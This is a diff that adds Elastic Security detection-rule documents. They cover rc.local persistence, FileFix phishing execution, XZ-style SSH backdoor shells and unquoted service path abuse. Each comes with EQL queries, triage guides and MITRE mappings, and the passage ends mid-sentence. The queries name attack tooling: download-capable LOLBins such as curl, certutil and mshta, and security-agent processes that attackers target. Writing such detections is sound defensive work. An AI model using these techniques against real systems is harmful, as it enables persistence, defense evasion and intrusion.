"MSASCuiL.exe", "msmpeng.exe", "msmpsvc.exe", + "MsSense.exe", "esensor.exe", "sentinelone.exe", "tmccsf.exe", "csfalconcontainer.exe", "sensecncproxy.exe", + "splunk.exe", "sysmon.exe", "sysmon64.exe", "taniumclient.exe" + )] with runs=5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-execution-of-rc-local-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-execution-of-rc-local-script.asciidoc new file mode 100644 index 0000000000..5fbb8eb700 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-execution-of-rc-local-script.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-potential-execution-of-rc-local-script]] +=== Potential Execution of rc.local Script + +This rule detects the potential execution of the "/etc/rc.local" script through the "already_running" event action created by the "rc-local.service" systemd service. The "/etc/rc.local" script is a legacy initialization script that is executed at the end of the boot process. The "/etc/rc.local" script is not enabled by default on most Linux distributions. The "/etc/rc.local" script can be used by attackers to persistently execute malicious commands or scripts on a compromised system at reboot. As the rc.local file is executed prior to the initialization of Elastic Defend, the execution event is not ingested, and therefore the "already_running" event is leveraged to provide insight into the potential execution of "rc.local". + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/malware-analysis/hiddenwasp-malware-targeting-linux-systems/ +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#8-boot-or-logon-initialization-scripts-rc-scripts +* https://www.cyberciti.biz/faq/how-to-enable-rc-local-shell-script-on-systemd-while-booting-linux-system/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Execution of rc.local Script* + + +The `/etc/rc.local` script is a legacy Linux initialization script executed at the end of the boot process. While not enabled by default, attackers can exploit it to persistently run malicious commands upon system reboot. The detection rule identifies potential misuse by monitoring for the `already_running` event action linked to `rc-local.service`, indicating the script's execution, thus alerting to possible persistence tactics. + + +*Possible investigation steps* + + +- Review the system logs to identify any recent changes or modifications to the /etc/rc.local file, focusing on timestamps and user accounts involved in the changes. +- Examine the contents of the /etc/rc.local file to identify any suspicious or unauthorized commands or scripts that may have been added. +- Investigate the process tree and parent processes associated with the rc-local.service to determine if there are any unusual or unexpected parent processes that could indicate compromise. +- Check for any other persistence mechanisms or indicators of compromise on the system, such as unauthorized user accounts or scheduled tasks, to assess the broader impact of the potential threat. +- Correlate the event with other security alerts or logs from the same host to identify any patterns or related activities that could provide additional context or evidence of malicious behavior. + + +*False positive analysis* + + +- System maintenance scripts: Some Linux distributions or administrators may use the rc.local script for legitimate system maintenance tasks. Review the script's content to verify its purpose and consider excluding these known benign scripts from triggering alerts. +- Custom startup configurations: Organizations might have custom startup configurations that utilize rc.local for non-malicious purposes. Document these configurations and create exceptions in the detection rule to prevent unnecessary alerts. +- Legacy applications: Certain legacy applications might rely on rc.local for initialization. Identify these applications and assess their necessity. If deemed safe, exclude their execution from the rule to reduce false positives. +- Testing environments: In testing or development environments, rc.local might be used for various non-threatening experiments. Clearly label these environments and adjust the rule to ignore alerts originating from them. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious scripts and limit the attacker's access. +- Review the contents of the `/etc/rc.local` file on the affected system to identify any unauthorized or suspicious commands or scripts. Remove any malicious entries found. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malware or persistence mechanisms. +- Restore the system from a known good backup if the integrity of the system is in question and if malicious activity is confirmed. +- Implement monitoring for changes to the `/etc/rc.local` file and other critical system files to detect unauthorized modifications in the future. +- Escalate the incident to the security operations team for further investigation and to determine if other systems may be affected. +- Review and update security policies and configurations to disable the execution of the `/etc/rc.local` script by default on all systems, unless explicitly required for legitimate purposes. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "info" and event.action == "already_running" and +process.parent.args == "/etc/rc.local" and process.parent.args == "start" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-execution-via-filefix-phishing-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-execution-via-filefix-phishing-attack.asciidoc new file mode 100644 index 0000000000..5d086bcd59 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-execution-via-filefix-phishing-attack.asciidoc @@ -0,0 +1,213 @@ +[[prebuilt-rule-8-19-34-potential-execution-via-filefix-phishing-attack]] +=== Potential Execution via FileFix Phishing Attack + +Identifies the execution of Windows commands or downloaded files via the browser's dialog box. Adversaries may use phishing to instruct the victim to copy and paste malicious commands for execution via crafted phishing web pages. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://mrd0x.com/filefix-clickfix-alternative/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Windows Security Event Logs +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: ClickFix +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Execution via FileFix Phishing Attack* + + + +*Possible investigation steps* + + +- Does the alert show the FileFix browser-to-Explorer execution path? + - Focus: alert-local `process.parent.executable`, `process.parent.args`, `process.name`, `process.executable`, and `process.command_line`. + - Implication: escalate when a Chromium-style file-picker parent using "--message-loop-type-ui" and "--service-sandbox-type=none" launches PowerShell, curl, certutil, certreq, msiexec, mshta, rundll32, wscript, cscript, or a "?:\Users\*\Downloads\*" executable; lower suspicion only when the child is a signed installer or diagnostic tool and the parent/command shape matches a recognized browser-initiated support or install flow. +- Is the launched child the expected binary for that workflow? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`; recover absent values from same-process events. !{investigate{"description":"","label":"Events for the launched process on this host","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the path is user-writable or signer/original name mismatches the expected tool; lower identity risk when signer, original name, path, and known hash history fit, but continue command-intent checks. +- Does the command line reveal pasted-command social engineering? + - Focus: `process.command_line` and `process.name`. + - Implication: escalate when the command hides execution before a fake path or comment, invokes PowerShell or a LOLBin to retrieve/run content, or starts a "%USERPROFILE%\Downloads" payload directly; lower suspicion only when arguments open the signed installer or diagnostic tool with no hidden command, URL, or shell operator. +- Does a Downloads-path child look newly staged or renamed? + - Focus: `process.executable`, `process.Ext.relative_file_creation_time`, `process.Ext.relative_file_name_modify_time`, `process.code_signature.thumbprint_sha256`, and same-process file writes/renames; recover absent process values from same-process events. !{investigate{"description":"","label":"File events for the launched process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: for the downloaded-EXE variant, process file-age is the recovery signal; absent file provenance does not make a Downloads path benign. + - Implication: escalate when a Downloads or other user-profile executable runs shortly after creation or rename, especially with weak identity; lower suspicion when file age, stable signer, and path match the same recognized update or support workflow. +- Did the launched child spawn follow-on tools? + - Focus: child process starts from `process.entity_id`, then descendant `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Child process starts from the launched process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if entity IDs are unavailable, fall back to parent PID plus a tight alert-time window on the same host. + - Implication: escalate when the chain fans out into shells, script hosts, installers, archive tools, or task/scheduler utilities; no descendants keeps scope local but does not clear suspicious command intent or identity mismatch. +- Did the launched child contact retrieval or staging destinations? + - Focus: same-process network events for `destination.ip`, `destination.port`, and destination ownership when available. !{investigate{"description":"","label":"Network events for the launched process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when PowerShell, curl, certutil, certreq, mshta, or another child reaches external staging, paste, storage, or command-and-control infrastructure; missing network telemetry is unresolved, not benign. +- If local evidence remains suspicious or unresolved, does the pattern recur for this user or host? + - Focus: related alerts and process starts for the same `user.id` and `host.id`, comparing `process.parent.args` and child `process.command_line`. + - Hint: review related user alerts with !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: review related host alerts with !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same browser-parented shell, LOLBin, or Downloads-path launch repeats for this user, host, or other users; keep the case local when it is isolated and the process evidence resolves cleanly. +- Escalate when ancestry, child identity, command intent, file age, descendants, network, or recurrence supports user-assisted command execution or downloaded payload launch; close only when process evidence shows a signed installer or diagnostic identity, non-hidden command shape, expected file age/path, no suspicious descendants, no suspicious network where telemetry exists, and no related spread; preserve evidence and escalate when facts conflict or remain incomplete. + + +*False positive analysis* + + +- Signed browser-initiated installer/diagnostic workflows or authorized security tests can trigger. Confirm exact alignment across parent flags, child path, signer, hash, command line, user, host, timing, and absence of suspicious descendants; do not close on a ticket or owner statement if process evidence conflicts. +- Before creating an exception, require recurrence with stable `process.parent.executable`, `process.parent.args`, `process.executable`, `process.code_signature.thumbprint_sha256`, command-line shape, `user.id`, and `host.id`. Avoid exceptions on browser parentage, `process.name`, or Downloads-path execution alone. + + +*Response and remediation* + + +- If suspicious but unconfirmed, first preserve the alert event, same-process event export, descendant process timeline, command-line text, parent context, child binary copy, hash and signature details, and the affected user/host identifiers. +- Apply reversible containment only after preservation, such as restricting the affected browser session or account, blocking the exact child hash, or quarantining the downloaded child binary. Escalate to host isolation only when command intent, identity, or descendants indicate likely payload execution. +- If confirmed malicious, isolate the host when the launched child or descendants executed payloads, then terminate the child and descendants after recording identifiers. Do not reset credentials from this alert alone; use identity response only when separate evidence proves credential exposure or account misuse. +- Eradicate only the downloaded executables, scripts, task utilities, or secondary payloads identified in the process timeline, then remediate the phishing page access or browser session that enabled the user-assisted execution. +- If confirmed benign, reverse temporary containment and document the exact parent flags, child identity, command shape, user, host, and outside confirmation that proved the workflow. Create an exception only after the stable bounded pattern recurs. +- Post-incident hardening: restrict direct execution from user download locations where feasible, warn on browser-file-picker social engineering, retain process telemetry needed for the pivots above, and document the FileFix variant observed in the case record. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.args == "--message-loop-type-ui" and process.parent.args == "--service-sandbox-type=none" and + ( + process.name : ("pwsh.exe", "powershell.exe", "curl.exe", "msiexec.exe", "mshta.exe", "wscript.exe", "cscript.exe", "rundll32.exe", "certutil.exe", "certreq.exe") or + process.executable : "?:\\Users\\*\\Downloads\\*" + ) and +not (process.name : "rundll32.exe" and process.args : ("ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile", "shwebsvc.dll,AddNetPlaceRunDll")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Sub-technique: +** Name: Malicious Copy and Paste +** ID: T1204.004 +** Reference URL: https://attack.mitre.org/techniques/T1204/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-execution-via-ssh-backdoor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-execution-via-ssh-backdoor.asciidoc new file mode 100644 index 0000000000..e91abe2519 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-execution-via-ssh-backdoor.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-potential-execution-via-ssh-backdoor]] +=== Potential Execution via SSH Backdoor + +It identifies potential malicious shell executions through remote SSH and detects cases where the sshd service suddenly terminates soon after successful execution, suggesting suspicious behavior similar to the XZ backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/amlweems/xzbot +* https://access.redhat.com/security/cve/CVE-2024-3094 +* https://www.elastic.co/security-labs/500ms-to-midnight + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Execution via SSH Backdoor* + + +Linux SSH backdoors, such as the XZBackdoor, leverage SSH, a secure protocol for remote access, to execute malicious commands stealthily. Adversaries exploit SSH by initiating sessions that mimic legitimate activity, then abruptly terminate them post-execution to evade detection. The detection rule identifies anomalies by tracking SSH processes that start and end unexpectedly, especially when non-standard executables are invoked, signaling potential backdoor activity. + + +*Possible investigation steps* + + +- Review the SSH session logs on the affected host to identify any unusual or unauthorized access attempts, focusing on sessions that match the process.pid and process.entity_id from the alert. +- Examine the command history and executed commands for the user associated with the user.id in the alert to identify any suspicious or unexpected activities. +- Investigate the non-standard executables invoked by the SSH session by checking the process.executable field to determine if they are legitimate or potentially malicious. +- Analyze the network activity associated with the SSH session, particularly any disconnect_received events, to identify any unusual patterns or connections to suspicious IP addresses. +- Check the exit codes of the SSH processes, especially those with a non-zero process.exit_code, to understand the reason for the abrupt termination and whether it aligns with typical error codes or indicates malicious activity. + + +*False positive analysis* + + +- Legitimate administrative SSH sessions may trigger the rule if they involve non-standard executables. To manage this, create exceptions for known administrative scripts or tools that are frequently used in your environment. +- Automated processes or scripts that use SSH for routine tasks might mimic the behavior of the XZBackdoor. Identify these processes and exclude them by specifying their executable paths or command-line patterns in the rule exceptions. +- Security tools or monitoring solutions that perform SSH-based checks could be mistaken for malicious activity. Review these tools and add their signatures to the exclusion list to prevent false alerts. +- Custom applications that use SSH for communication might be flagged. Document these applications and adjust the rule to recognize their specific execution patterns as non-threatening. +- Temporary network issues causing abrupt SSH session terminations could be misinterpreted as suspicious behavior. Monitor network stability and consider excluding known transient disconnections from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious SSH sessions identified by the detection rule to stop ongoing malicious activity. +- Conduct a thorough review of the affected host's SSH configuration and logs to identify unauthorized changes or access patterns. +- Reset credentials for any user accounts involved in the suspicious SSH activity to prevent further unauthorized access. +- Restore the affected system from a known good backup if any unauthorized changes or malware are detected. +- Implement network segmentation to limit SSH access to critical systems and reduce the attack surface. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are compromised. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type == "linux" and event.action == "end" and process.name == "sshd" and process.exit_code != 0 and + process.command_line == "/usr/sbin/sshd -D -R" and process.parent.command_line == "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.name == "sshd" and process.parent.command_line == "/usr/sbin/sshd -D -R" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and not ( + process.args like ( + "rsync*", "systemctl*", "/usr/sbin/unix_chkpwd", "/usr/bin/google_authorized_keys", "/usr/sbin/aad_certhandler*", + "bash -c bash -s", "/usr/lib/ssh/sftp-server", "stat /etc/is_upgrade_install > /dev/null 2>&1", + "stat /opt/qradar/ha/.*", "/usr/bin/env -i PATH=*", "/opt/gitlab/*", "clamdscan*", "wc*", "export*", + "test*", "md5sum*", "check_mk_agent", "/usr/bin/env*", "/usr/bin/check_mk_agent", "timeout*", "/usr/sbin/haproxy*", + "/usr/libexec/openssh/sftp-server", "command*", "find*", "cd *", "scp*", "while*", "pvesh*", "/bin/true", + "/usr/sbin/qm mtunnel", "multipath*", "/usr/lib/openssh/sftp-server" + ) or + process.command_line like ("sh -c /usr/bin/env -i PATH=*", "sh -c -- /usr/bin/env -i PATH=*", "*ansible*", "*BECOME-SUCCESS*") + ) + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-exploitation-of-an-unquoted-service-path-vulnerability.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-exploitation-of-an-unquoted-service-path-vulnerability.asciidoc new file mode 100644 index 0000000000..2c335b5ad4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-exploitation-of-an-unquoted-service-path-vulnerability.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-potential-exploitation-of-an-unquoted-service-path-vulnerability]] +=== Potential Exploitation of an Unquoted Service Path Vulnerability + +Adversaries may leverage unquoted service path vulnerabilities to escalate privileges. By placing an executable in a higher-level directory within the path of an unquoted service executable, Windows will natively launch this executable from its defined path variable instead of the benign one in a deeper directory, thus leading to code execution. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Exploitation of an Unquoted Service Path Vulnerability* + + +Unquoted service paths in Windows can be exploited by adversaries to escalate privileges. When a service path lacks quotes, Windows may execute a malicious executable placed in a higher-level directory. The detection rule identifies suspicious processes starting from common unquoted paths, signaling potential exploitation attempts. This helps in early detection and mitigation of privilege escalation threats. + + +*Possible investigation steps* + + +- Review the process executable path to confirm if it matches the patterns specified in the query, such as "?:\\Program.exe" or executables within "C:\\Program Files (x86)\\" or "C:\\Program Files\\". +- Check the parent process of the suspicious executable to determine how it was initiated and assess if it aligns with expected behavior. +- Investigate the file creation and modification timestamps of the suspicious executable to identify any recent changes that could indicate malicious activity. +- Analyze the user account associated with the process start event to determine if it has the necessary privileges and if the activity is consistent with the user's typical behavior. +- Examine the system's event logs for any related activities or anomalies around the time the suspicious process was started, such as other process executions or file modifications. +- Cross-reference the executable's hash with known threat intelligence databases to identify if it is associated with any known malware or suspicious activity. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they temporarily create executables in common unquoted paths. Users can create exceptions for known software update processes to prevent unnecessary alerts. +- System administrators might use scripts or tools that inadvertently place executables in unquoted paths for legitimate purposes. Identifying and documenting these tools can help in setting up exclusions. +- Some enterprise applications may have legitimate executables in unquoted 